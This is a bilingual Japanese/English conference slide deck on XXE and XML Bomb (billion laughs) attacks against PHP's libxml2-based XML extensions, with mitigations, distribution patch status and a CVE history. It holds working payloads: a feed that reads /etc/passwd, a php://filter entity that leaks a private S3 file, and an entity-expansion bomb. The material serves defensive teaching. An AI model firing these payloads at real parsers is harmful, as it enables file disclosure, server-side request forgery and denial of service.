  • 15. <!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry> <title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry> </feed> なぜ /etc/passwd が? -Why was the content of /etc/passwd displayed?-
  • 16. <!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry> <title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry> </feed> なぜ /etc/passwd が? -Why was the content of /etc/passwd displayed?-
  • 17. <!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry> <title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry> </feed> なぜ /etc/passwd が? -Why was the content of /etc/passwd displayed?-
  • 18. <!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry> <title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry> </feed> nobody:*:-2:-2:Unprivileged User:/var/empty:/us.. root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin.. なぜ /etc/passwd が? -Why was the content of /etc/passwd displayed?-
  • 19. <!DOCTYPE feed [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <feed xmlns="http://www.w3.org/2005/Atom"> <title>example</title> <updated>2013-06-24T11:56:27+09:00</updated> <id>example</id> <entry> <title>&passwd;</title> <link href="http://example.com/" /> <id>http://example.com/1</id> <updated>2013-06-26T11:56:27+09:00</updated> <summary>...</summary> <author> <name>example</name> </author> </entry> </feed> XML External Entity (XXE) Attack nobody:*:-2:-2:Unprivileged User:/var/empty:/us.. root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin.. なぜ /etc/passwd が? -Why was the content of /etc/passwd displayed?-
  • 20. 復習: エンティティ -REVIEW about Entity- &lt;strong&gt;I &hearts; PHP&lt;/strong&gt;
  • 21. 復習: エンティティ -REVIEW about Entity- &lt;strong&gt;I &hearts; PHP&lt;/strong&gt; <strong>I ♥ PHP</strong>
  • 22. 復習: エンティティ -REVIEW about Entity- &lt;strong&gt;I &hearts; PHP&lt;/strong&gt; <strong>I ♥ PHP</strong> •エンティティの指す値は DTD (文書型定義) にて定義される Entity-referenced value is defined in DTD •エンティティ値の定義にはエンティティを含むことができる Definition of entity value can contain entity •URI の示す値をエンティティ値の定義に用いることができる (外部エンティティ宣言) URI reference can be used in definition of entity value (External Entity Declaration)
  • 25. 外部エンティティ解決のフロー (概要) -External Entity resolution flow (summaries)- Parse XML Parse DOCTYPE
  • 26. 外部エンティティ解決のフロー (概要) -External Entity resolution flow (summaries)- Parse XML Parse DOCTYPE Parse ENTITY declarations
  • 27. 外部エンティティ解決のフロー (概要) -External Entity resolution flow (summaries)- Parse XML Parse DOCTYPE Parse ENTITY declarations Resolve external entities
  • 28. 外部エンティティ解決のフロー (概要) -External Entity resolution flow (summaries)- Parse XML Parse DOCTYPE Parse ENTITY declarations Resolve external entities libxml2 entity loader http:// local file
  • 29. 外部エンティティ解決のフロー (概要) -External Entity resolution flow (summaries)- Parse XML Parse DOCTYPE Parse ENTITY declarations Resolve external entities libxml2 entity loader http:// local file PHP entity loader file:// expect:// gopher:// php://
  • 30. XXE の脅威 (概要) -Threats of XXE (summaries)- • ローカルファイルの漏洩 Disclosure of server local file • いわゆる SSRF (Server Side Request Forgery) による脅威全般 • 認証をおこなわない API やプロトコルを経由した非公開情報の漏洩 Disclosure of private informations via non-authenticated API or protocol • 内部ネットワークに対するポートスキャン Port scanning to the internal network • オープン済みファイルディスクリプタへのアクセス Access to opened file descriptors • syslog 等のログを汚染 Poisoning syslog
  • 31. Amazon S3 の非公開ファイルにアクセスする -DEMO: Access to private file in Amazon S3- $s3 = S3Client::factory([ 'key' => '*****', 'secret' => '*****', ); $s3->registerStreamWrapper(); echo file_get_contents('s3://phpcon/ebihara-150x150.jpg'); s3:// スキームで Amazon S3 のコンテンツを取得可能に Now we can fetch Amazon S3 content via s3:// scheme.
  • 32. Amazon S3 の非公開ファイルにアクセスする -DEMO: Access to private file in Amazon S3- <!ENTITY kurorekishi SYSTEM "php://filter/convert.base64-encode/ resource=s3://phpcon/ebihara-kaicho.jpg"> • S3 用のストリームラッパーを利用して非公開ファイルの内容を取得 Get private file content by using Amazon S3 Stream Wrapper • エンティティ値を展開した後の文書全体を整形式の XML としてパースできるように する必要があるので、そのままではバイナリ値は取得できない Entity values are embedded as a part of XML document and it should be parsed as well-formed XML since we can’t get raw binary data • そのため、 PHP のストリームフィルタ機能を用いて base64 エンコードを施した上で 出力 So the above example outputs base64 encoded binary data by using PHP’s stream filter features
  • 33. 攻撃用フィードその 2 -The exploit feed part 2- • You can get this XML from : https://gist.github.com/ebihara/ a653693e07f9795bc525
  • 34. 攻撃用フィードを入力した場合 -A case of inputting the exploit feed part 2-
  • 35. 大量の CPU とメモリが消費される! It consumes a lot of CPU and memory resources! 攻撃用フィードを入力した場合 -A case of inputting the exploit feed part 2-
  • 36. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 37. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 38. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 39. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 40. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 41. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 42. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 43. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 44. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 45. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 46. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 47. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 48. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 49. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 50. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 51. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations-
  • 52. <!DOCTYPE feed [ <!ENTITY a0 "bomb!bomb!bomb!bomb!bomb!bomb!bomb!bomb!..."> <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> **SNIP** <!ENTITY a9 "&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;&a8;"> <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;"> <!ENTITY bomb "&a10;&a10;"> **SNIP** <title>&bomb;</title> **SNIP** 大量のメモリ割り当ての原因 -A cause of the tiny memory allocations- XML Entity Expansion Attack (XML Bomb)
  • 53. XML Bomb の脅威 -Threats of XML Bomb- •DoS
  • 54. 影響を受ける PHP 拡張 -Which PHP extensions are affected?- • DOM • SimpleXML • XMLReader (but the default is safe :) • SOAP (but fixed as CVE-2013-1635 :) *NOTE: Oh, xml_parser(), is a legacy XML Parser funcion, is safe!! :) Because it doesn’t use libxml2 to parse XMLs
  • 55. 脆弱な DOM 拡張の使用例 -An example of vulnerable code using DOM- // vulnerable $dom->load('/path/to/evil.xhtml'); $dom->loadXML('<?xml ...'); // safe $dom->loadHTMLFile('/path/to/evil.xhtml'); $dom->loadHTML('<!DOCTYPE ...');
  • 56. HTML5 with libxml2 • 現状の libxml2 は HTML5 をサポートしていない The current version of libxml2 doesn’t support HTML5 yet • HTML4 でサポートされていない要素や属性を用いたドキュメントを DOMDocument::loadHTML() でパースすると警告が発生する Warnings are occurred when DOMDocument::loadHTML() parses documents which have non- HTML4 elements or attributes • 警告を無視するか、 XXE への対策を入れて XML としてパースする 必要がある So we need ignore such warnings or parse as XML with against XXE See Also: PHP DOM (libxml2) only understands XHTML4, misinterprets HTML5, but D8 must cope with HTML5 [#1333730] | Drupal
  • 57. 脆弱な SimpleXML 拡張の使用例 -An example of vulnerable code using SimpleXML- $xml = new SimpleXMLElement('<?xml ...'); $xml = new SimpleXMLElement('/path/to/evil.xml', null, true); $xml = simplexml_load_string('<?xml ...'); $xml = simplexml_load_file('/path/to/evil.xml');
  • 58. 脆弱な XMLReader 拡張の使用例 -An example of vulnerable code using XMLReader- XMLReader 使用時に�SUBST_ENTITIES オプションを指 定しない限り XXE や XML Bomb の影響を受けない。 You can avoid XXE and XML Bomb to use XML Reader without SUBST_ENTITIES option. $xml = new XMLReader(); $xml->xml($content); $xml->setParserProperty( XMLReader::SUBST_ENTITIES , true);
  • 59. Wait, what version of libxml2 on this demo?
  • 60. Wait, what version of libxml2 on this demo? 2008/04/08 にリリースされた libxml 2.6 系の最終バージョンで、 とうの昔のバージョンだしサンプルと しては適さない……? The final version of libxml 2.6 series, is released 2008/04/08, so this is very old and arbitrary example ... really?
  • 61. • libxml 2.7.0 (2008/08/30) • strengthen some of the internal parser limits ... (https://git.gnome.org/browse/libxml2/commit/?id=8915c) • libxml 2.7.3 (2009/01/18) • XML_MAX_TEXT_LENGHT (sic) limiting the maximum size of a single text node, the defaultis (sic) 10MB ... (https://git.gnome.org/browse/libxml2/commit/?id=1fb2e) History of libxml2 vs XML Bomb
  • 62. • libxml 2.9.0 (2012/09/11) • Do not fetch external parsed entities ... (https://git.gnome.org/browse/libxml2/commit/?id=4629e) History of libxml2 vs XXE
  • 63. ディストリビューションの配布パッケージ -Situations of distributions’ provided libxml2- libxml 2.6 (XXE & XML Bomb) libxml 2.7, 2.8 (XXE) libxml 2.9 CentOS Debian Fedora Ubuntu 5 6 Wheezy(stable) Squeeze(old stable) Sid (unstable) 19 18 10.04 (LTS) 12.04 (LTS) 12.10 13.04 13.10
  • 64. ディストリビューションの配布パッケージ -Situations of distributions’ provided libxml2- libxml 2.6 (XXE & XML Bomb) libxml 2.7, 2.8 (XXE) libxml 2.9 CentOS Debian Fedora Ubuntu 5 6 Wheezy(stable) Squeeze(old stable) Sid (unstable) 19 18 10.04 (LTS) 12.04 (LTS) 12.10 13.04 13.10 パッチによって XML Bomb は 対策済 This XML Bomb vuln is patched now in RHEL :)
  • 65. ディストリビューション配布版 libxml2 と XXE -Distributions’ libxml2 and XXE- • CentOS (RHEL) • I’ve confirmed fix XEE vuln in CentOS 6 • Ubuntu (Patched in Jul, 2013) • Bug #1194410 “Apply upstream patch to close XXE vulnerability in...” : Bugs : “libxml2” package : Ubuntu • Debian (Patched in ... Mar, 2013?) • I’ve NOT confirmed fix XEE vuln in stable (2.8.0+dfsg1-7+nmu1) and old-stable • But ... it looks like that Debian project patched stable and old-stable (security) in http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=702260
  • 71. PHP 側でできる XML Bomb 対策 -Against XML Bomb in PHP script-
  • 72. PHP 側でできる XML Bomb 対策 -Against XML Bomb in PHP script-
  • 73. • 一応いくつか軽減策を選ぶことはできますが…… Okay, okay, you can choose some mitigations... • DOCTYPE が含まれていた時点で拒否 Deny DOCTYPE • ENTITY 読み込み部分を自力で取り除く Remove ENTITY inclusion by your self PHP 側でできる XML Bomb 対策 -Against XML Bomb in PHP script-
  • 74. • libxml_disable_entity_loader(true) • PHP 側で外部エンティティを解決するときにこれが true であれば処理を終了する The external entity loader in PHP does not continue its process if this argument is true PHP 側でできる XXE 対策 -Against XEE in PHP script- $old = libxml_disable_entity_loader(true); $xml = new SimpleXMLElement($content); libxml_disable_entity_loader($old);
  • 75. External Entity resolution flow after libxml_disable_entity_loader(true) Parse XML Parse DOCTYPE Parse ENTITY declarations Resolve external entities http:// PHP entity loader file:// expect:// php://gopher://
  • 76. External Entity resolution flow after libxml_disable_entity_loader(true) Parse XML Parse DOCTYPE Parse ENTITY declarations Resolve external entities http:// PHP entity loader file:// expect:// php://gopher://
  • 77. External Entity resolution flow after libxml_disable_entity_loader(true) Parse XML Parse DOCTYPE Parse ENTITY declarations Resolve external entities http:// PHP entity loader file:// expect:// php:// 外部エンティティローダ が無効なのでコンテンツ が読み込めなくなった External entity loader is disabled so it can not load any contents gopher://
  • 78. • 【注意】 libxml_disable_entity_loader(true) は XML 「ファイル」を読 み込むことを期待した関数の動作も無効化します WARN!!! libxml_disable_entity_loader(true) kills XML **file** loading functions!!! (DOMDocument::load(), simplexml_load_file(), XMLReader::open()) • これらの関数は libxml2 の機能を使用して XML ファイルを読み込む 際にエンティティローダを流用しているため Because they use the entity loader to load XML file in libxml2 • したがって、 libxml2 に依存した関数の外で事前に XML ファイルを 読み込んでおく必要があります So you need to pre-load XML contents outside of libxml2 depended functions PHP 側でできる XXE 対策 -Against XEE in PHP script-
  • 80. • 海老原が所有しているセキュリティ関連書籍のうち、 XXE もしくは XML Bomb に関する言及があるものを調査 • ただし、「特定の脆弱性 (XSS など) にテーマを絞った書籍」「セ キュアコーディング手法がテーマではない書籍 (pentest 関 連、マネジメント手法などに関する書籍)」は調査対象から除外 • 索引と目次から XML, XXE, XEE, Billion Laughs などのキーワ ードが見つからなかったものはその時点で「言及なし」とした 書籍での言及状況 (No English subtitles)
  • 81. • 言及あり • Paco Hope, Ben Walther 著 『Web Security Testing Cookbook』, O’Reilly, 2008 年 • Michal Zalewski 著 『めんどうくさい Web セキュリティ』 翔泳社, 2012 年 • 言及なし • マイケル・ハワード, デイビッド・ルブラン 著 『Writing Secure Code 第2版』日経BPソフトプレス, 2004 年 • GIJOE 著 『PHP サイバーテロの技法』 ソシム, 2005 年 • Robert C. Seacord 著 『C/C++ セキュアコーディング』 アスキー, 2006 年 • Chris Shiflett 著 『入門 PHP セキュリティ』 オライリー・ジャパン, 2006 年 • 大垣靖男著 『Web アプリセキュリティ対策入門』 技術評論社, 2006 年 • 金床著 『ウェブアプリケーションセキュリティ』 データハウス, 2007 年 • 佐名木智貴著 『セキュア Web プログラミング Tips 集』 ソフト・リサーチ・センター, 2008 年 • 徳丸浩著 『体系的に学ぶ 安全な Web アプリケーションの作り方』 ソフトバンククリエイティブ, 2011 年 調査結果 (No English subtitles)
  • 82. • XML External Entity: PHP マニュアル (!)、 T.Terada さんの日記、 JVN などの各 製品のアドバイザリ • XXE: ほぼ関係ない検索結果 (先の T.Terada さんの日記に対する徳丸さんのはて ブが引っかかるくらい) • XML Bomb: 数サイトで言及が見られた他は JVN などのアドバイザリのみ • XML Entity Expansion: JVN などのアドバイザリのみ • Billion Laughs: MSDN での言及が見られるほかはアドバイザリのみ • XML Entity Explosion: 水無月ばけらさんの日記など、 Rails でこの問題が発見さ れた際の言及がいくらか見られる程度 おしえて Google 先生! (No English subtitles)
  • 83. XXE or XML Bomb in CVE • Search CVEs by '"xml external entity" OR "xml entity expansion" OR "xml entity explosion" OR "xml bomb" OR "billion laughs" OR "xxe" OR "xee" (And removed about XXE archive by my hand) • And for 2013, I know that contains reserved CVE-2013-4333, CVE-2013-4334 and CVE-2013-4335 are XXE Problem because I’m reporter of these problem, so I’ve added +3 0 5 10 15 20 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 17 14 6 1 3 2 00 1 0 11
  • 84. History (2002, 2003) • First report of XXE: http:// www.securityfocus.com/archive/1/297714 (Bugtraq, 2002/10) • First report of XML Bomb: http://lists.xml.org/ archives/xml-dev/200302/msg00022.html ([xml- dev], 2003/02)
  • 85. History (2005-2011) • 2005 Adobe Reader / Acrobat (CVE-2005-1306) • 2008 Java (CVE-2008-0628), Ruby (CVE-2008-3790) • 2009 WebKit (CVE-2009-1699), Adobe Reader / Acrobat (CVE-2009-2979) • 2011 Mac OS X (CVE-2011-0212), phpMyAdmin (CVE-2011-4107)
  • 86. History (2012) • OpenOffice(CVE-2012-0037), PostgreSQL(CVE-2012-3488), ZendFramework(CVE-2012-3363, CVE-2012-5657, CVE-2012-6531, CVE-2012-6532), Symfony(version 2.0.11, 2.0.17), CakePHP(CVE-2012-4399), Nokogiri, CPAN XML::Atom(CVE-2012-1102 [reserved]) • PHDays 2012 -- ONsec PHDays 2012 XXE incapsulated report
  • 87. History (2013) • PHP(CVE-2013-1643), Python(CVE-2013-1664, CVE-2013-1665), Ruby(CVE-2013-1821), Ruby on Rails(CVE-2013-1856), mod_security(CVE-2013-1915), MediaWiki, Play Framework WordPress(CVE-2013-2202), Microsoft Office (CVE-2013-3160) • And I reported the following (discovered): OpenPNE(CVE-2013-4333, 2013-4334, 2013-4335) PHP OpenID Library(CVE-2013-4701)
  • 89. • XML のエンティティ解決に関わる処理が脆弱となりうる • 利用側での対策は比較的楽なので、パーサや言語バインディング 側での対応が落ち着くまでは利用側での対策を推奨 • XXE の存在が徐々に広まりつつあり、これに伴いメジャーなソフトウ ェアでの発見事例が増加している • XXE と共に SSRF が注目されつつあり、積極的に攻撃手法も研究さ れている状況なので注意が必要 • 特に任意のストリームラッパーを攻撃者が利用できるような状況は 危険 まとめ (No English subtitles)
  • 91. • Vladimir Vorontsov, ONsec PHDays 2012 XXE incapsulated report, 2012 • ONSec Lab, SSRF bible. Cheatsheet - Google Drive, 2013 • Pádraic Brady, Web Advent 2012 / The Three Ugly Sisters, 2012 • OWASP, XML External Entity (XXE) Processing - OWASP, 2012 • MediaWiki, XML External Entity Processing - MediaWiki, 2013 References